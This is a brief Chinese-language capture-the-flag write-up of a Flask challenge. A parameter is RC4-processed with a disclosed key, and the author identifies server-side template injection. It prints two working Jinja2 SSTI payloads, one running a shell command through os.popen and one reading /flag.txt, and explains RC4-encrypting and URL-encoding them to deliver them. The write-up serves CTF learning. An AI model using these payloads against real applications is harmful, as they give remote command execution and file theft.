前言
关键字:[rc4|ssti|flask]
题解
就是靠灵光一闪
buu上的题最近不知道为啥,浏览器里敲连接必触发dns rebind attack检测,真的烦
输到12345的时候报错了
rc4算法,密钥HereIsTreasure
试试?secret=a,结果为4,试了网上好几个在线rc4加密的,http://tool.chacuo.net/cryptrc4就这个结果一致
果然。
flask+template,怀疑是ssti
蛮怪的,明明是加密,注释又写个解密。
那大概就是检测加密字符输出解密,检测未加密字符输出加密。
查文件
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls /').read()}}
flag在flag.txt里
于是读/flag.txt
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}
直接打肯定是不行的,需要先rc4加密,加密后有很多不可视字符,所以再urlencode一下
注意把encode all special chars
点上,不然#等字符不会被urlencode,get传值就出问题了。